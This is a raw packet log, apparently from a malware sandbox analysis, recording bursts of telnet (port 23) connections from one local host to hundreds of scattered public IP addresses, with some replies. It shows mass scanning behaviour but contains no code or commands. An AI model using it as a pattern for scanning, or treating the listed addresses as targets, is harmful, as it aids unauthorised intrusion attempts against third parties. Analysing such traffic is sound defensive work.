Oct 14, 2024 17:34:10.823576927 CEST	29508	23	192.168.2.14	212.226.55.112
Oct 14, 2024 17:34:10.823581934 CEST	29508	23	192.168.2.14	144.208.56.84
Oct 14, 2024 17:34:10.823581934 CEST	29508	23	192.168.2.14	115.26.119.168
Oct 14, 2024 17:34:10.823596001 CEST	29508	23	192.168.2.14	44.114.45.34
Oct 14, 2024 17:34:10.823601007 CEST	29508	23	192.168.2.14	112.203.218.20
Oct 14, 2024 17:34:10.823606014 CEST	29508	23	192.168.2.14	120.184.25.116
Oct 14, 2024 17:34:10.823606014 CEST	29508	23	192.168.2.14	104.68.11.200
Oct 14, 2024 17:34:10.823606014 CEST	29508	23	192.168.2.14	163.98.206.232
Oct 14, 2024 17:34:10.823609114 CEST	29508	23	192.168.2.14	90.67.185.97
Oct 14, 2024 17:34:10.823609114 CEST	29508	23	192.168.2.14	58.58.204.170
Oct 14, 2024 17:34:10.823635101 CEST	29508	23	192.168.2.14	63.192.116.34
Oct 14, 2024 17:34:10.823641062 CEST	29508	23	192.168.2.14	174.4.65.87
Oct 14, 2024 17:34:10.823649883 CEST	29508	23	192.168.2.14	126.115.198.138
Oct 14, 2024 17:34:10.823651075 CEST	29508	23	192.168.2.14	200.193.132.1
Oct 14, 2024 17:34:10.823651075 CEST	29508	23	192.168.2.14	34.3.1.64
Oct 14, 2024 17:34:10.823651075 CEST	29508	23	192.168.2.14	24.62.27.32
Oct 14, 2024 17:34:10.823651075 CEST	29508	23	192.168.2.14	63.238.239.85
Oct 14, 2024 17:34:10.823652029 CEST	29508	23	192.168.2.14	200.37.41.60
Oct 14, 2024 17:34:10.823652029 CEST	29508	23	192.168.2.14	128.48.25.231
Oct 14, 2024 17:34:10.823669910 CEST	29508	23	192.168.2.14	137.98.83.235
Oct 14, 2024 17:34:10.823669910 CEST	29508	23	192.168.2.14	139.1.124.229
Oct 14, 2024 17:34:10.823677063 CEST	29508	23	192.168.2.14	146.252.161.74
Oct 14, 2024 17:34:10.823677063 CEST	29508	23	192.168.2.14	190.176.18.53
Oct 14, 2024 17:34:10.823677063 CEST	29508	23	192.168.2.14	209.4.56.61
Oct 14, 2024 17:34:10.823678970 CEST	29508	23	192.168.2.14	24.14.234.105
Oct 14, 2024 17:34:10.823678970 CEST	29508	23	192.168.2.14	184.119.184.201
Oct 14, 2024 17:34:10.823679924 CEST	29508	23	192.168.2.14	137.107.55.162
Oct 14, 2024 17:34:10.823679924 CEST	29508	23	192.168.2.14	144.21.253.56
Oct 14, 2024 17:34:10.823679924 CEST	29508	23	192.168.2.14	179.108.214.48
Oct 14, 2024 17:34:10.823681116 CEST	29508	23	192.168.2.14	47.86.121.89
Oct 14, 2024 17:34:10.823681116 CEST	29508	23	192.168.2.14	104.131.8.202
Oct 14, 2024 17:34:10.823679924 CEST	29508	23	192.168.2.14	142.222.5.171
Oct 14, 2024 17:34:10.823681116 CEST	29508	23	192.168.2.14	105.156.93.68
Oct 14, 2024 17:34:10.823679924 CEST	29508	23	192.168.2.14	43.41.246.30
Oct 14, 2024 17:34:10.823709011 CEST	29508	23	192.168.2.14	54.3.197.112
Oct 14, 2024 17:34:10.823709011 CEST	29508	23	192.168.2.14	112.121.195.184
Oct 14, 2024 17:34:10.823709965 CEST	29508	23	192.168.2.14	65.18.146.29
Oct 14, 2024 17:34:10.823709965 CEST	29508	23	192.168.2.14	146.111.246.39
Oct 14, 2024 17:34:10.823723078 CEST	29508	23	192.168.2.14	97.191.159.35
Oct 14, 2024 17:34:10.823723078 CEST	29508	23	192.168.2.14	160.100.234.56
Oct 14, 2024 17:34:10.823724985 CEST	29508	23	192.168.2.14	72.117.245.163
Oct 14, 2024 17:34:10.823724985 CEST	29508	23	192.168.2.14	101.0.73.224
Oct 14, 2024 17:34:10.823725939 CEST	29508	23	192.168.2.14	77.172.108.81
Oct 14, 2024 17:34:10.823724985 CEST	29508	23	192.168.2.14	23.148.134.216
Oct 14, 2024 17:34:10.823725939 CEST	29508	23	192.168.2.14	223.156.26.61
Oct 14, 2024 17:34:10.823725939 CEST	29508	23	192.168.2.14	52.60.218.223
Oct 14, 2024 17:34:10.823725939 CEST	29508	23	192.168.2.14	145.34.212.186
Oct 14, 2024 17:34:10.823724985 CEST	29508	23	192.168.2.14	162.52.188.50
Oct 14, 2024 17:34:10.823729992 CEST	29508	23	192.168.2.14	91.157.18.145
Oct 14, 2024 17:34:10.823748112 CEST	29508	23	192.168.2.14	209.30.66.121
Oct 14, 2024 17:34:10.823750019 CEST	29508	23	192.168.2.14	109.23.236.28
Oct 14, 2024 17:34:10.823750019 CEST	29508	23	192.168.2.14	107.91.12.103
Oct 14, 2024 17:34:10.823750019 CEST	29508	23	192.168.2.14	23.163.21.251
Oct 14, 2024 17:34:10.823750019 CEST	29508	23	192.168.2.14	52.126.146.59
Oct 14, 2024 17:34:10.823750019 CEST	29508	23	192.168.2.14	193.126.218.86
Oct 14, 2024 17:34:10.823751926 CEST	29508	23	192.168.2.14	174.215.232.10
Oct 14, 2024 17:34:10.823751926 CEST	29508	23	192.168.2.14	144.20.42.5
Oct 14, 2024 17:34:10.823751926 CEST	29508	23	192.168.2.14	50.140.71.126
Oct 14, 2024 17:34:10.823754072 CEST	29508	23	192.168.2.14	44.4.153.135
Oct 14, 2024 17:34:10.823754072 CEST	29508	23	192.168.2.14	137.212.7.141
Oct 14, 2024 17:34:10.823759079 CEST	29508	23	192.168.2.14	158.84.93.13
Oct 14, 2024 17:34:10.823767900 CEST	29508	23	192.168.2.14	175.42.149.124
Oct 14, 2024 17:34:10.823772907 CEST	29508	23	192.168.2.14	149.205.129.70
Oct 14, 2024 17:34:10.823776007 CEST	29508	23	192.168.2.14	104.250.86.120
Oct 14, 2024 17:34:10.823776007 CEST	29508	23	192.168.2.14	160.49.175.216
Oct 14, 2024 17:34:10.823776007 CEST	29508	23	192.168.2.14	48.98.241.57
Oct 14, 2024 17:34:10.823776960 CEST	29508	23	192.168.2.14	192.2.141.129
Oct 14, 2024 17:34:10.823776007 CEST	29508	23	192.168.2.14	5.22.130.114
Oct 14, 2024 17:34:10.823776960 CEST	29508	23	192.168.2.14	105.111.84.149
Oct 14, 2024 17:34:10.823777914 CEST	29508	23	192.168.2.14	161.179.238.181
Oct 14, 2024 17:34:10.823776960 CEST	29508	23	192.168.2.14	192.102.232.254
Oct 14, 2024 17:34:10.823781013 CEST	29508	23	192.168.2.14	23.180.10.251
Oct 14, 2024 17:34:10.823777914 CEST	29508	23	192.168.2.14	75.147.218.190
Oct 14, 2024 17:34:10.823781013 CEST	29508	23	192.168.2.14	72.91.4.84
Oct 14, 2024 17:34:10.823788881 CEST	29508	23	192.168.2.14	52.126.179.26
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	43.33.238.57
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	193.148.169.203
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	203.128.246.235
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	42.2.210.64
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	212.99.2.9
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	177.217.97.69
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	45.85.44.192
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	149.200.199.63
Oct 14, 2024 17:34:10.823793888 CEST	29508	23	192.168.2.14	146.229.206.127
Oct 14, 2024 17:34:10.823801041 CEST	29508	23	192.168.2.14	62.199.6.202
Oct 14, 2024 17:34:10.823807001 CEST	29508	23	192.168.2.14	189.177.72.67
Oct 14, 2024 17:34:10.823807001 CEST	29508	23	192.168.2.14	198.96.217.51
Oct 14, 2024 17:34:10.823807955 CEST	29508	23	192.168.2.14	210.62.112.230
Oct 14, 2024 17:34:10.823811054 CEST	29508	23	192.168.2.14	61.15.199.103
Oct 14, 2024 17:34:10.823811054 CEST	29508	23	192.168.2.14	95.46.80.146
Oct 14, 2024 17:34:10.823811054 CEST	29508	23	192.168.2.14	39.13.233.75
Oct 14, 2024 17:34:10.823811054 CEST	29508	23	192.168.2.14	221.120.128.175
Oct 14, 2024 17:34:10.823813915 CEST	29508	23	192.168.2.14	155.250.155.122
Oct 14, 2024 17:34:10.823813915 CEST	29508	23	192.168.2.14	110.198.21.240
Oct 14, 2024 17:34:10.823821068 CEST	29508	23	192.168.2.14	220.140.230.116
Oct 14, 2024 17:34:10.823821068 CEST	29508	23	192.168.2.14	57.149.22.85
Oct 14, 2024 17:34:10.823822975 CEST	29508	23	192.168.2.14	107.254.134.43
Oct 14, 2024 17:34:10.823826075 CEST	29508	23	192.168.2.14	53.103.204.37
Oct 14, 2024 17:34:10.823822975 CEST	29508	23	192.168.2.14	73.239.253.251
Oct 14, 2024 17:34:10.823822975 CEST	29508	23	192.168.2.14	81.166.239.116
Oct 14, 2024 17:34:10.823827028 CEST	29508	23	192.168.2.14	179.120.7.200
Oct 14, 2024 17:34:10.823834896 CEST	29508	23	192.168.2.14	5.33.54.0
Oct 14, 2024 17:34:10.823846102 CEST	29508	23	192.168.2.14	12.173.213.200
Oct 14, 2024 17:34:10.823844910 CEST	29508	23	192.168.2.14	176.64.106.246
Oct 14, 2024 17:34:10.823846102 CEST	29508	23	192.168.2.14	78.28.215.175
Oct 14, 2024 17:34:10.823844910 CEST	29508	23	192.168.2.14	101.104.144.5
Oct 14, 2024 17:34:10.823827982 CEST	29508	23	192.168.2.14	161.111.38.235
Oct 14, 2024 17:34:10.823843002 CEST	29508	23	192.168.2.14	79.164.93.71
Oct 14, 2024 17:34:10.823827982 CEST	29508	23	192.168.2.14	32.6.108.181
Oct 14, 2024 17:34:10.823843002 CEST	29508	23	192.168.2.14	155.167.221.92
Oct 14, 2024 17:34:10.823827982 CEST	29508	23	192.168.2.14	41.58.210.102
Oct 14, 2024 17:34:10.823834896 CEST	29508	23	192.168.2.14	12.158.231.241
Oct 14, 2024 17:34:10.823856115 CEST	29508	23	192.168.2.14	98.126.160.104
Oct 14, 2024 17:34:10.823844910 CEST	29508	23	192.168.2.14	196.122.196.68
Oct 14, 2024 17:34:10.823834896 CEST	29508	23	192.168.2.14	13.184.147.125
Oct 14, 2024 17:34:10.823834896 CEST	29508	23	192.168.2.14	134.23.195.162
Oct 14, 2024 17:34:10.823834896 CEST	29508	23	192.168.2.14	73.212.25.169
Oct 14, 2024 17:34:10.823827028 CEST	29508	23	192.168.2.14	68.244.76.21
Oct 14, 2024 17:34:10.823827028 CEST	29508	23	192.168.2.14	122.131.204.214
Oct 14, 2024 17:34:10.823884010 CEST	29508	23	192.168.2.14	178.50.173.14
Oct 14, 2024 17:34:10.823894978 CEST	29508	23	192.168.2.14	180.132.252.86
Oct 14, 2024 17:34:10.823924065 CEST	29508	23	192.168.2.14	169.16.233.199
Oct 14, 2024 17:34:10.824949026 CEST	29508	23	192.168.2.14	68.74.243.5
Oct 14, 2024 17:34:10.824949026 CEST	29508	23	192.168.2.14	71.162.101.139
Oct 14, 2024 17:34:10.824949026 CEST	29508	23	192.168.2.14	155.7.176.66
Oct 14, 2024 17:34:10.824949026 CEST	29508	23	192.168.2.14	9.80.22.75
Oct 14, 2024 17:34:10.824954033 CEST	29508	23	192.168.2.14	67.24.201.83
Oct 14, 2024 17:34:10.824955940 CEST	29508	23	192.168.2.14	221.46.231.89
Oct 14, 2024 17:34:10.824969053 CEST	29508	23	192.168.2.14	197.10.40.97
Oct 14, 2024 17:34:10.824978113 CEST	29508	23	192.168.2.14	121.134.208.28
Oct 14, 2024 17:34:10.824991941 CEST	29508	23	192.168.2.14	188.200.230.13
Oct 14, 2024 17:34:10.824989080 CEST	29508	23	192.168.2.14	102.212.111.162
Oct 14, 2024 17:34:10.824989080 CEST	29508	23	192.168.2.14	186.111.46.55
Oct 14, 2024 17:34:10.824987888 CEST	29508	23	192.168.2.14	159.241.220.136
Oct 14, 2024 17:34:10.824987888 CEST	29508	23	192.168.2.14	103.120.161.72
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	174.254.140.200
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	157.30.254.179
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	48.22.64.179
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	194.221.143.157
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	17.18.23.34
Oct 14, 2024 17:34:10.825021982 CEST	29508	23	192.168.2.14	166.244.177.25
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	192.73.156.162
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	205.129.158.246
Oct 14, 2024 17:34:10.825021982 CEST	29508	23	192.168.2.14	199.203.20.110
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	2.27.162.136
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	184.18.71.86
Oct 14, 2024 17:34:10.825021982 CEST	29508	23	192.168.2.14	38.172.71.245
Oct 14, 2024 17:34:10.825023890 CEST	29508	23	192.168.2.14	116.254.230.34
Oct 14, 2024 17:34:10.825026035 CEST	29508	23	192.168.2.14	59.24.1.43
Oct 14, 2024 17:34:10.825020075 CEST	29508	23	192.168.2.14	94.170.157.154
Oct 14, 2024 17:34:10.825023890 CEST	29508	23	192.168.2.14	44.71.209.159
Oct 14, 2024 17:34:10.825026035 CEST	29508	23	192.168.2.14	1.123.169.109
Oct 14, 2024 17:34:10.825023890 CEST	29508	23	192.168.2.14	70.248.151.18
Oct 14, 2024 17:34:10.825026035 CEST	29508	23	192.168.2.14	98.81.207.246
Oct 14, 2024 17:34:10.825057983 CEST	29508	23	192.168.2.14	13.181.8.17
Oct 14, 2024 17:34:10.825062037 CEST	29508	23	192.168.2.14	78.97.0.44
Oct 14, 2024 17:34:10.825064898 CEST	29508	23	192.168.2.14	25.253.99.206
Oct 14, 2024 17:34:10.825064898 CEST	29508	23	192.168.2.14	91.38.66.247
Oct 14, 2024 17:34:10.825071096 CEST	29508	23	192.168.2.14	25.40.50.251
Oct 14, 2024 17:34:10.825071096 CEST	29508	23	192.168.2.14	223.58.139.184
Oct 14, 2024 17:34:10.825071096 CEST	29508	23	192.168.2.14	79.152.244.35
Oct 14, 2024 17:34:10.825078011 CEST	29508	23	192.168.2.14	206.55.43.156
Oct 14, 2024 17:34:10.825079918 CEST	29508	23	192.168.2.14	221.227.163.37
Oct 14, 2024 17:34:10.825079918 CEST	29508	23	192.168.2.14	2.134.20.217
Oct 14, 2024 17:34:10.825081110 CEST	29508	23	192.168.2.14	20.162.73.112
Oct 14, 2024 17:34:10.825081110 CEST	29508	23	192.168.2.14	147.115.114.204
Oct 14, 2024 17:34:10.825081110 CEST	29508	23	192.168.2.14	53.112.59.40
Oct 14, 2024 17:34:10.825081110 CEST	29508	23	192.168.2.14	208.167.63.152
Oct 14, 2024 17:34:10.825079918 CEST	29508	23	192.168.2.14	219.143.9.240
Oct 14, 2024 17:34:10.825079918 CEST	29508	23	192.168.2.14	71.176.242.247
Oct 14, 2024 17:34:10.825081110 CEST	29508	23	192.168.2.14	78.154.64.180
Oct 14, 2024 17:34:10.825092077 CEST	29508	23	192.168.2.14	210.112.144.85
Oct 14, 2024 17:34:10.825105906 CEST	29508	23	192.168.2.14	177.250.182.210
Oct 14, 2024 17:34:10.825105906 CEST	29508	23	192.168.2.14	161.113.123.221
Oct 14, 2024 17:34:10.825110912 CEST	29508	23	192.168.2.14	191.44.52.21
Oct 14, 2024 17:34:10.825117111 CEST	29508	23	192.168.2.14	218.218.113.140
Oct 14, 2024 17:34:10.825117111 CEST	29508	23	192.168.2.14	191.175.79.135
Oct 14, 2024 17:34:10.825118065 CEST	29508	23	192.168.2.14	57.192.224.179
Oct 14, 2024 17:34:10.825169086 CEST	29508	23	192.168.2.14	87.94.238.233
Oct 14, 2024 17:34:10.825176954 CEST	29508	23	192.168.2.14	137.177.112.64
Oct 14, 2024 17:34:10.825177908 CEST	29508	23	192.168.2.14	186.238.42.134
Oct 14, 2024 17:34:10.825179100 CEST	29508	23	192.168.2.14	209.12.148.23
Oct 14, 2024 17:34:10.825216055 CEST	29508	23	192.168.2.14	87.255.177.111
Oct 14, 2024 17:34:10.825222015 CEST	29508	23	192.168.2.14	112.151.85.7
Oct 14, 2024 17:34:10.825222015 CEST	29508	23	192.168.2.14	66.150.185.207
Oct 14, 2024 17:34:10.825223923 CEST	29508	23	192.168.2.14	42.17.53.156
Oct 14, 2024 17:34:10.825223923 CEST	29508	23	192.168.2.14	177.113.134.213
Oct 14, 2024 17:34:10.825223923 CEST	29508	23	192.168.2.14	135.64.133.123
Oct 14, 2024 17:34:10.825223923 CEST	29508	23	192.168.2.14	43.197.245.230
Oct 14, 2024 17:34:10.825227976 CEST	29508	23	192.168.2.14	93.238.19.120
Oct 14, 2024 17:34:10.825227976 CEST	29508	23	192.168.2.14	120.42.90.191
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	212.94.0.185
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	199.136.56.43
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	105.50.106.140
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	124.86.76.228
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	119.170.165.200
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	172.233.195.197
Oct 14, 2024 17:34:10.825232983 CEST	29508	23	192.168.2.14	177.127.224.131
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	1.152.88.130
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	103.40.99.168
Oct 14, 2024 17:34:10.825231075 CEST	29508	23	192.168.2.14	109.39.176.84
Oct 14, 2024 17:34:10.827604055 CEST	23	29508	83.118.247.99	192.168.2.14
Oct 14, 2024 17:34:10.827620983 CEST	23	29508	197.188.249.99	192.168.2.14
Oct 14, 2024 17:34:10.827630043 CEST	23	29508	69.218.11.87	192.168.2.14
Oct 14, 2024 17:34:10.827639103 CEST	23	29508	217.216.81.214	192.168.2.14
Oct 14, 2024 17:34:10.827651024 CEST	23	29508	201.74.212.81	192.168.2.14
Oct 14, 2024 17:34:10.827660084 CEST	23	29508	162.107.196.195	192.168.2.14
Oct 14, 2024 17:34:10.827663898 CEST	29508	23	192.168.2.14	83.118.247.99
Oct 14, 2024 17:34:10.827670097 CEST	23	29508	137.157.119.17	192.168.2.14
Oct 14, 2024 17:34:10.827672958 CEST	29508	23	192.168.2.14	69.218.11.87
Oct 14, 2024 17:34:10.827678919 CEST	23	29508	179.97.237.227	192.168.2.14
Oct 14, 2024 17:34:10.827686071 CEST	29508	23	192.168.2.14	197.188.249.99
Oct 14, 2024 17:34:10.827687979 CEST	29508	23	192.168.2.14	201.74.212.81
Oct 14, 2024 17:34:10.827694893 CEST	29508	23	192.168.2.14	162.107.196.195
Oct 14, 2024 17:34:10.827703953 CEST	29508	23	192.168.2.14	179.97.237.227
Oct 14, 2024 17:34:10.827707052 CEST	29508	23	192.168.2.14	217.216.81.214
Oct 14, 2024 17:34:10.827713966 CEST	29508	23	192.168.2.14	137.157.119.17
Oct 14, 2024 17:34:10.827852011 CEST	23	29508	121.195.57.5	192.168.2.14
Oct 14, 2024 17:34:10.827862024 CEST	23	29508	13.147.240.98	192.168.2.14
Oct 14, 2024 17:34:10.827872038 CEST	23	29508	210.210.89.17	192.168.2.14
Oct 14, 2024 17:34:10.827882051 CEST	23	29508	87.191.14.117	192.168.2.14
Oct 14, 2024 17:34:10.827884912 CEST	29508	23	192.168.2.14	121.195.57.5
Oct 14, 2024 17:34:10.827889919 CEST	23	29508	47.52.234.12	192.168.2.14
Oct 14, 2024 17:34:10.827900887 CEST	23	29508	125.9.76.138	192.168.2.14
Oct 14, 2024 17:34:10.827905893 CEST	29508	23	192.168.2.14	210.210.89.17
Oct 14, 2024 17:34:10.827909946 CEST	29508	23	192.168.2.14	13.147.240.98
Oct 14, 2024 17:34:10.827909946 CEST	29508	23	192.168.2.14	87.191.14.117
Oct 14, 2024 17:34:10.827919960 CEST	23	29508	173.80.10.252	192.168.2.14
Oct 14, 2024 17:34:10.827929974 CEST	23	29508	201.110.128.130	192.168.2.14
Oct 14, 2024 17:34:10.827939034 CEST	23	29508	163.255.84.104	192.168.2.14
Oct 14, 2024 17:34:10.827948093 CEST	23	29508	189.110.86.251	192.168.2.14
Oct 14, 2024 17:34:10.827953100 CEST	29508	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:10.827955961 CEST	29508	23	192.168.2.14	47.52.234.12
Oct 14, 2024 17:34:10.827955961 CEST	29508	23	192.168.2.14	173.80.10.252
Oct 14, 2024 17:34:10.827956915 CEST	29508	23	192.168.2.14	201.110.128.130
Oct 14, 2024 17:34:10.827959061 CEST	23	29508	23.127.149.196	192.168.2.14
Oct 14, 2024 17:34:10.827964067 CEST	23	29508	187.121.58.141	192.168.2.14
Oct 14, 2024 17:34:10.827967882 CEST	23	29508	204.49.30.44	192.168.2.14
Oct 14, 2024 17:34:10.827967882 CEST	29508	23	192.168.2.14	163.255.84.104
Oct 14, 2024 17:34:10.827971935 CEST	23	29508	78.16.137.56	192.168.2.14
Oct 14, 2024 17:34:10.827977896 CEST	23	29508	213.8.157.210	192.168.2.14
Oct 14, 2024 17:34:10.827986956 CEST	23	29508	83.128.0.75	192.168.2.14
Oct 14, 2024 17:34:10.827996016 CEST	23	29508	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:10.828000069 CEST	23	29508	123.159.80.165	192.168.2.14
Oct 14, 2024 17:34:10.828003883 CEST	29508	23	192.168.2.14	189.110.86.251
Oct 14, 2024 17:34:10.828003883 CEST	23	29508	52.197.139.208	192.168.2.14
Oct 14, 2024 17:34:10.828011990 CEST	29508	23	192.168.2.14	204.49.30.44
Oct 14, 2024 17:34:10.828013897 CEST	29508	23	192.168.2.14	78.16.137.56
Oct 14, 2024 17:34:10.828016043 CEST	29508	23	192.168.2.14	23.127.149.196
Oct 14, 2024 17:34:10.828017950 CEST	29508	23	192.168.2.14	187.121.58.141
Oct 14, 2024 17:34:10.828020096 CEST	29508	23	192.168.2.14	213.8.157.210
Oct 14, 2024 17:34:10.828022957 CEST	23	29508	158.251.193.228	192.168.2.14
Oct 14, 2024 17:34:10.828026056 CEST	29508	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:10.828032970 CEST	23	29508	221.31.134.11	192.168.2.14
Oct 14, 2024 17:34:10.828042984 CEST	23	29508	163.103.18.4	192.168.2.14
Oct 14, 2024 17:34:10.828047037 CEST	29508	23	192.168.2.14	83.128.0.75
Oct 14, 2024 17:34:10.828048944 CEST	29508	23	192.168.2.14	123.159.80.165
Oct 14, 2024 17:34:10.828048944 CEST	29508	23	192.168.2.14	52.197.139.208
Oct 14, 2024 17:34:10.828062057 CEST	29508	23	192.168.2.14	158.251.193.228
Oct 14, 2024 17:34:10.828062057 CEST	29508	23	192.168.2.14	221.31.134.11
Oct 14, 2024 17:34:10.828077078 CEST	29508	23	192.168.2.14	163.103.18.4
Oct 14, 2024 17:34:10.828202963 CEST	23	29508	125.7.78.111	192.168.2.14
Oct 14, 2024 17:34:10.828214884 CEST	23	29508	24.167.54.72	192.168.2.14
Oct 14, 2024 17:34:10.828224897 CEST	23	29508	218.55.165.29	192.168.2.14
Oct 14, 2024 17:34:10.828236103 CEST	23	29508	35.51.123.94	192.168.2.14
Oct 14, 2024 17:34:10.828237057 CEST	29508	23	192.168.2.14	125.7.78.111
Oct 14, 2024 17:34:10.828247070 CEST	23	29508	111.31.238.180	192.168.2.14
Oct 14, 2024 17:34:10.828257084 CEST	23	29508	157.110.25.255	192.168.2.14
Oct 14, 2024 17:34:10.828274965 CEST	29508	23	192.168.2.14	24.167.54.72
Oct 14, 2024 17:34:10.828274965 CEST	29508	23	192.168.2.14	218.55.165.29
Oct 14, 2024 17:34:10.828289986 CEST	29508	23	192.168.2.14	35.51.123.94
Oct 14, 2024 17:34:10.828289986 CEST	29508	23	192.168.2.14	111.31.238.180
Oct 14, 2024 17:34:10.828304052 CEST	29508	23	192.168.2.14	157.110.25.255
Oct 14, 2024 17:34:10.828422070 CEST	23	29508	9.11.142.153	192.168.2.14
Oct 14, 2024 17:34:10.828433037 CEST	23	29508	42.20.65.5	192.168.2.14
Oct 14, 2024 17:34:10.828444004 CEST	23	29508	109.26.247.117	192.168.2.14
Oct 14, 2024 17:34:10.828453064 CEST	23	29508	18.50.206.178	192.168.2.14
Oct 14, 2024 17:34:10.828460932 CEST	29508	23	192.168.2.14	9.11.142.153
Oct 14, 2024 17:34:10.828460932 CEST	29508	23	192.168.2.14	42.20.65.5
Oct 14, 2024 17:34:10.828463078 CEST	23	29508	130.85.147.157	192.168.2.14
Oct 14, 2024 17:34:10.828471899 CEST	23	29508	74.244.67.116	192.168.2.14
Oct 14, 2024 17:34:10.828476906 CEST	29508	23	192.168.2.14	109.26.247.117
Oct 14, 2024 17:34:10.828481913 CEST	23	29508	80.7.137.223	192.168.2.14
Oct 14, 2024 17:34:10.828491926 CEST	23	29508	115.176.146.139	192.168.2.14
Oct 14, 2024 17:34:10.828501940 CEST	23	29508	112.141.62.211	192.168.2.14
Oct 14, 2024 17:34:10.828511953 CEST	23	29508	209.15.241.119	192.168.2.14
Oct 14, 2024 17:34:10.828520060 CEST	23	29508	82.31.29.255	192.168.2.14
Oct 14, 2024 17:34:10.828527927 CEST	23	29508	109.70.21.22	192.168.2.14
Oct 14, 2024 17:34:10.828536034 CEST	23	29508	141.60.192.210	192.168.2.14
Oct 14, 2024 17:34:10.828546047 CEST	23	29508	123.6.9.89	192.168.2.14
Oct 14, 2024 17:34:10.828553915 CEST	23	29508	201.81.60.236	192.168.2.14
Oct 14, 2024 17:34:10.828562975 CEST	23	29508	18.200.80.120	192.168.2.14
Oct 14, 2024 17:34:10.828572035 CEST	23	29508	180.246.180.20	192.168.2.14
Oct 14, 2024 17:34:10.828582048 CEST	23	29508	159.62.157.90	192.168.2.14
Oct 14, 2024 17:34:10.828591108 CEST	23	29508	58.237.142.177	192.168.2.14
Oct 14, 2024 17:34:10.828600883 CEST	23	29508	105.158.10.61	192.168.2.14
Oct 14, 2024 17:34:10.828608990 CEST	23	29508	95.183.143.178	192.168.2.14
Oct 14, 2024 17:34:10.828619003 CEST	23	29508	82.242.36.28	192.168.2.14
Oct 14, 2024 17:34:10.828628063 CEST	23	29508	140.123.108.122	192.168.2.14
Oct 14, 2024 17:34:10.828639984 CEST	23	29508	133.122.153.90	192.168.2.14
Oct 14, 2024 17:34:10.828649998 CEST	23	29508	145.137.105.15	192.168.2.14
Oct 14, 2024 17:34:10.828659058 CEST	23	29508	125.187.27.4	192.168.2.14
Oct 14, 2024 17:34:10.828670025 CEST	23	29508	114.17.11.53	192.168.2.14
Oct 14, 2024 17:34:10.828679085 CEST	23	29508	161.2.253.239	192.168.2.14
Oct 14, 2024 17:34:10.828696012 CEST	23	29508	182.127.61.41	192.168.2.14
Oct 14, 2024 17:34:10.828700066 CEST	29508	23	192.168.2.14	130.85.147.157
Oct 14, 2024 17:34:10.828706026 CEST	23	29508	8.206.158.60	192.168.2.14
Oct 14, 2024 17:34:10.828710079 CEST	29508	23	192.168.2.14	74.244.67.116
Oct 14, 2024 17:34:10.828710079 CEST	29508	23	192.168.2.14	80.7.137.223
Oct 14, 2024 17:34:10.828710079 CEST	29508	23	192.168.2.14	209.15.241.119
Oct 14, 2024 17:34:10.828716040 CEST	23	29508	130.154.46.26	192.168.2.14
Oct 14, 2024 17:34:10.828722000 CEST	29508	23	192.168.2.14	115.176.146.139
Oct 14, 2024 17:34:10.828722000 CEST	29508	23	192.168.2.14	109.70.21.22
Oct 14, 2024 17:34:10.828726053 CEST	23	29508	14.241.193.130	192.168.2.14
Oct 14, 2024 17:34:10.828727007 CEST	29508	23	192.168.2.14	112.141.62.211
Oct 14, 2024 17:34:10.828727007 CEST	29508	23	192.168.2.14	141.60.192.210
Oct 14, 2024 17:34:10.828730106 CEST	29508	23	192.168.2.14	125.187.27.4
Oct 14, 2024 17:34:10.828730106 CEST	29508	23	192.168.2.14	123.6.9.89
Oct 14, 2024 17:34:10.828730106 CEST	29508	23	192.168.2.14	180.246.180.20
Oct 14, 2024 17:34:10.828737020 CEST	29508	23	192.168.2.14	161.2.253.239
Oct 14, 2024 17:34:10.828737020 CEST	29508	23	192.168.2.14	182.127.61.41
Oct 14, 2024 17:34:10.828754902 CEST	29508	23	192.168.2.14	8.206.158.60
Oct 14, 2024 17:34:10.828754902 CEST	29508	23	192.168.2.14	130.154.46.26
Oct 14, 2024 17:34:10.828764915 CEST	29508	23	192.168.2.14	14.241.193.130
Oct 14, 2024 17:34:10.828771114 CEST	29508	23	192.168.2.14	18.50.206.178
Oct 14, 2024 17:34:10.828771114 CEST	29508	23	192.168.2.14	201.81.60.236
Oct 14, 2024 17:34:10.828773022 CEST	29508	23	192.168.2.14	82.31.29.255
Oct 14, 2024 17:34:10.828780890 CEST	29508	23	192.168.2.14	18.200.80.120
Oct 14, 2024 17:34:10.828780890 CEST	29508	23	192.168.2.14	159.62.157.90
Oct 14, 2024 17:34:10.828787088 CEST	29508	23	192.168.2.14	58.237.142.177
Oct 14, 2024 17:34:10.828789949 CEST	23	29508	155.60.53.23	192.168.2.14
Oct 14, 2024 17:34:10.828795910 CEST	29508	23	192.168.2.14	105.158.10.61
Oct 14, 2024 17:34:10.828800917 CEST	23	29508	49.233.47.69	192.168.2.14
